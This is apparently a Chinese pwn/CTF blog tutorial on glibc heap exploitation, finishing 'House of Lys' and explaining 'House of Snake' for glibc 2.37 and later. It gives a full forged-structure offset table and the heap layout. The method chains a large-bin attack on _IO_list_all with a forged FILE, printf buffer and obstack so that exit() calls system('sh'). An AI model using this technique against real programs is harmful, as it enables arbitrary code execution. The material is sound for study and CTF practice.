系统在分配 0x800 时,遍历 Unsorted Bin 发现了 Chunk F (0x440)。 系统对比大小,发现 F (0x440) 比 L1 (0x450) 小,决定把 F 挂到 L1 的后方。 执行 C 源码插入宏:L1->bk_nextsize->fd_nextsize = Chunk_F_Addr

即_IO_list_all ===> [ HEAP_BASE + 0x470 ]

最后执行 exit() 结束程序。系统接管 CPU,开始遍历 _IO_list_all 准备刷新缓冲区

欺骗 _IO_flush_all_lockp (虚表错位跳转):

  • 系统读取 _flags 和指针,发现 write_ptr(1) > write_base(0) 成立。
  • 系统准备调用 _IO_OVERFLOW (对应虚表偏移 +0x18)。
  • 物理对撞: 系统访问 (&_IO_obstack_jumps + 0x20) + 0x18 = &_IO_obstack_jumps + 0x38
  • 结果: 偏移 0x38 刚好是 _IO_obstack_xsputn!执行流强行拐弯进入该函数。

引诱 obstack_grow 报错:

  • xsputn 内部提取 fp->obstack,读到 HEAP_BASE + 0x568
  • 函数调用 obstack_grow(ob, ...)
  • 物理对撞: 检查 ob->next_free + len > ob->chunk_limit
  • 系统读取 +0x580 (值为 0) 和 +0x588 (值为 0)。因为有数据要写入(len > 0),所以 0 + len > 0 成立!
  • 结果: 系统判定“当前 obstack 内存耗尽”,必须调取底层的 _obstack_newchunk 去开辟新内存。

剥离保护然后 (CALL_CHUNKFUN):

  • 进入 _obstack_newchunk,系统准备执行终极分配宏。
  • 物理对撞 1 (安检): 检查 ob->use_extra_arg。CPU 访问 +0x5B8,值为 1。安检通过,走附带参数的 CALL 分支。
  • 物理对撞 2 (提取指令): CPU 访问 +0x5A0 (ob->chunkfun),提取出 system 的绝对地址!
  • 物理对撞 3 (传参赋值): CPU 访问 +0x5B0 (ob->extra_arg),将其赋值给寄存器 RDI。 此时 RDI = HEAP_BASE + 0x480

House of Snake

适用版本:2.37 ——至今

堆溢出,use after free

和上面的House of Lys很像

前置知识:

在 glibc 2.37 的更新中,官方安全团队终于注意到了 obstack 这个毫无底线的历史遗留物。他们采取了最简单粗暴的方法:直接删除了 _IO_obstack_jumps 虚表! 并且,原本通过流操作直接调用 obstack 的代码被全部重构,引入了一个全新的抽象层:__printf_buffer

House of Lys 彻底死亡。所有人都以为 obstack 的后门被堵死了

直到 2023 年,国内安全研究员(7resp4ss)顺着底层源码的废墟,发现 obstack 的终极处决宏 CALL_CHUNKFUN 并没有被删除。官方只是在它前面建了一座名叫 __printf_buffer_as_file 的新桥

和上一个house of一样,我们在伪造的流中,把 write_ptr 设为 1,write_base 设为 0

系统认为有脏数据,调用虚表里的 _IO_OVERFLOW 函数,把它刷新掉

我们把vtable设置为__printf_buffer_as_file_jumps,那么_IO_OVERFLOW 函数就会访问合法的 __printf_buffer_as_file_jumps + 0x18

结果就是摸到了该虚表原本就放在这里的合法函数:__printf_buffer_as_file_overflow

当系统合法地调用了 __printf_buffer_as_file_overflow 后,函数内部的第一件事就是强制类型转换

// glibc 2.37+ 源码
int __printf_buffer_as_file_overflow (_IO_FILE *fp, int c) {
   // 第一座危桥:把普通的 _IO_FILE 强转为带缓冲区的包装体!
   struct __printf_buffer_as_file *file = (struct __printf_buffer_as_file *) fp;
   
   // 提取真正的缓冲区控制块 (存放在 fp + 0xE0 的位置)
   struct __printf_buffer *next = file->next;
   
   // 调用缓冲区刷新逻辑
   Xprintf_buffer_flush (next);
   // ...
}

这个 file->next 刚好位于我们熟悉的 +0xE0 偏移处。我们在堆上 +0xE0 位置填入某个绝对物理地址,系统就会毫不怀疑地把执行流引导到我们伪造的下一层结构中

接着系统把控制权和我们伪造的第二层起址(HEAP_BASE + 0x568),亲手送进了 __printf_buffer_flush(源码宏定义为 Xprintf_buffer_flush

当进入 Xprintf_buffer_flush(buf) 后,系统准备刷新这个通用缓冲区。 既然是“通用”,系统就必须知道这个缓冲区到底是用来干嘛的(是打印到屏幕?写到字符串?还是写到 obstack?)

// glibc 内部源码
void __printf_buffer_flush (struct __printf_buffer *buf) {
   // 物理动作:CPU 读取 buf->mode (也就是 buf + 0x20 偏移处的值)
   // 如果我们在那里填了 mode_obstack 的枚举整数值,系统判定命中该分支
   switch (buf->mode) {
       // ... 其他分支被无视 ...
       case __printf_buffer_mode_obstack:
           // 到这里系统就会主动调用了 obstack 专属的 flush 函数
           __printf_buffer_flush_obstack ((struct __printf_buffer_obstack *) buf);
           return;
  }
}

然后系统乖乖地跳进了 __printf_buffer_flush_obstack(buf)

void __printf_buffer_flush_obstack (struct __printf_buffer *buf) {
   // 将通用的 buf 强转为专属的 obstack 缓冲体
   struct __printf_buffer_obstack *obuf = (struct __printf_buffer_obstack *) buf;
   
   // 提取隐藏在最深处的 obstack 控制块!
   struct obstack *ob = obuf->obstack;
   // 熟悉的调用
   obstack_grow (ob, buf->write_base, ...);
}

obuf->obstack 位于缓冲区的 +0x28 偏移处。我们在这里填入准备好的地址,系统就会顺着地址把那块内存当成struct obstack本尊

接下来的事情,就和 House of Lys 完全一样了:obstack_grow 判定内存满 -> 调用 _obstack_newchunk -> 执行没有任何安检的裸指针 CALL_CHUNKFUN

了解这些前置知识后,就可以开始利用了

先布置堆块布局如下:

低地址 (Heap 内存区)
+----------------------------------+
| Chunk L1 (大小 0x450)           | <--- HEAP_BASE + 0x000 (状态:Allocated)
+----------------------------------+
| Chunk G1 (大小 0x020)           | <--- HEAP_BASE + 0x450 (状态:Allocated)
+----------------------------------+
| Chunk Snake (大小 0x440)         | <--- HEAP_BASE + 0x470 (块头)
| (用户数据区起址:+0x480)       | <--- HEAP_BASE + 0x480 (状态:Allocated)
+----------------------------------+
| Chunk G2 (大小 0x020)           | <--- HEAP_BASE + 0x8B0 (状态:Allocated)
+----------------------------------+
高地址

free(L1) ,L1进入unsorted bin

malloc(0x800)申请超大快,触发内存整理,使得L1进入Large bin

接着编辑Chunk Snake,使得堆布局如下:

绝对物理地址         物理偏移   原生结构体变量 (64位)                        被强制写入的物理数据 (十六进制/说明)
------------------------------------------------------------------------------------------------------------------
                  |         | =================== 第一层:_IO_FILE 基础结构 (外皮) ======================== |
HEAP_BASE + 0x480 | +0x00   | _flags (8字节)                             | 0x000000003b687320 (精心构造的 b' sh;')
HEAP_BASE + 0x488 | +0x08   | _IO_read_ptr ~ _IO_read_end               | 0x0000000000000000
HEAP_BASE + 0x4A0 | +0x20   | _IO_write_base                             | 0x0000000000000000
HEAP_BASE + 0x4A8 | +0x28   | _IO_write_ptr                             | 0x0000000000000001 (强制 > base )
... (中间全填 0)   | ...     | ...                                       | 0x0000000000000000
HEAP_BASE + 0x508 | +0x88   | _lock                                     | [ 已知可写且为 0 的绝对物理地址 ]
... (中间全填 0)   | ...     | ...                                       | 0x0000000000000000
HEAP_BASE + 0x558 | +0xD8   | vtable (虚表指针)                           | [ &__printf_buffer_as_file_jumps ]
------------------------------------------------------------------------------------------------------------------
                  |         | ====== 第二层:__printf_buffer_obstack 结构 (隐藏在 _IO_FILE 尾部) ======== |
HEAP_BASE + 0x560 | +0xE0   | struct __printf_buffer *next               | [ HEAP_BASE + 0x568 ] (引向下方起址)
HEAP_BASE + 0x568 | +0xE8   | char *write_base                           | 0x0000000000000000
HEAP_BASE + 0x570 | +0xF0   | char *write_ptr                           | 0x0000000000000001 ( 触发 Flush)
HEAP_BASE + 0x578 | +0xF8   | char *write_end                           | 0x0000000000000000
HEAP_BASE + 0x580 | +0x100 | uint64_t written                           | 0x0000000000000000
HEAP_BASE + 0x588 | +0x108 | enum __printf_buffer_mode mode             | [ mode_obstack 枚举值 ]  
HEAP_BASE + 0x590 | +0x110 | struct obstack *obstack                   | [ HEAP_BASE + 0x598 ] (引向下方第三层)
------------------------------------------------------------------------------------------------------------------
                  |         | ================= 第三层:struct obstack 本体结构 (毒牙) ==================== |
HEAP_BASE + 0x598 | +0x118 | chunk_size                                 | 0x0000000000000000
HEAP_BASE + 0x5A0 | +0x120 | chunk                                     | 0x0000000000000000
HEAP_BASE + 0x5A8 | +0x128 | object_base                               | 0x0000000000000000
HEAP_BASE + 0x5B0 | +0x130 | next_free                                 | 0x0000000000000000 (触发内存耗尽)
HEAP_BASE + 0x5B8 | +0x138 | chunk_limit                               | 0x0000000000000000 (触发内存耗尽)
...               | ...     | temp / alignment_mask                     | 0x0000000000000000
HEAP_BASE + 0x5D0 | +0x150 | struct _obstack_chunk *(*chunkfun)         | [ system 的绝对物理地址 ]
HEAP_BASE + 0x5D8 | +0x158 | freefun                                   | 0x0000000000000000
HEAP_BASE + 0x5E0 | +0x160 | extra_arg                                 | [ HEAP_BASE + 0x480 ] (作为参数传入 RDI,指向 ' sh;')
HEAP_BASE + 0x5E8 | +0x168 | unsigned int use_extra_arg:1 (及其他位域)   | 0x0000000000000001 (置 1激活双参数调用)
------------------------------------------------------------------------------------------------------------------

然后利用越界写或 UAF, 将 L1->bk_nextsize 改为 _IO_list_all – 0x20

接着free(Snake)并申请更大块malloc(0x800)

Snake 被挂入 L1 后方触发LBA

得到_IO_list_all ===> [ HEAP_BASE + 0x470 ]

执行 exit() 结束程序,交出控制权

合法伪装,通过安检

  • _IO_flush_all_lockp 读到了我们的 Snake 块。
  • 检查 write_ptr(1) > write_base(0) 成立,准备刷新
  • 安检放行: 系统检查 vtable(__printf_buffer_as_file_jumps)。发现它是 glibc 内部合法的新版虚表,完美通过 _IO_validate_vtable 的白名单安检
  • 物理跳转: 正常执行宏 _IO_OVERFLOW,跳入 __printf_buffer_as_file_overflow

2. 第一重强转:剥去外皮,露出缓冲区

  • 进入该函数后,源码执行强制转换:file = (struct __printf_buffer_as_file *) fp;
  • 系统提取 file->next
  • 物理动作: CPU 读取 +0xE0HEAP_BASE + 0x560),拿到了 HEAP_BASE + 0x568(第二层缓冲区的起址),随后调用 Xprintf_buffer_flush(next)

3. 致命道岔:强行扭转运河航道

  • 进入 Xprintf_buffer_flush,系统检查缓冲区是否满了:write_ptr(1) >= write_end(0),条件成立。
  • 准备真正刷新缓冲区,系统查看 mode 字段决定刷新方式。
  • 物理动作: CPU 提取 +0x108HEAP_BASE + 0x588)。读出枚举值 mode_obstack
  • 执行流突变: 系统 switch 语句命中分支,放弃普通的打印逻辑,强行跳入 __printf_buffer_flush_obstack

4. 第二重强转

  • 进入新函数后,源码执行最后一次强转:obuf = (struct __printf_buffer_obstack *) buf;
  • 系统提取 obuf->obstack
  • 物理动作: CPU 读取 buf + 0x28(即绝对地址 HEAP_BASE + 0x590),拿到了 HEAP_BASE + 0x598(第三层上古核心的起址)。调用 obstack_grow(ob, ...)

5. 剥离保护然后(CALL_CHUNKFUN)

  • 执行流回到了和 House of Lys 一模一样的裸奔地带
  • 检查 next_free + len > chunk_limit (0 + 1 > 0 成立)。判定内存耗尽,进入 _obstack_newchunk
  • 检查 use_extra_arg (+0x168 = 1)。安检放行,走双参数调用分支。
  • 提取 chunkfun (+0x150) 得到 system_addr
  • 提取 extra_arg (+0x160) 得到 HEAP_BASE + 0x480,塞入 RDI
  • 终局汇编: CALL system_addr。顺着 RDI 读出最开头的 sh;

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇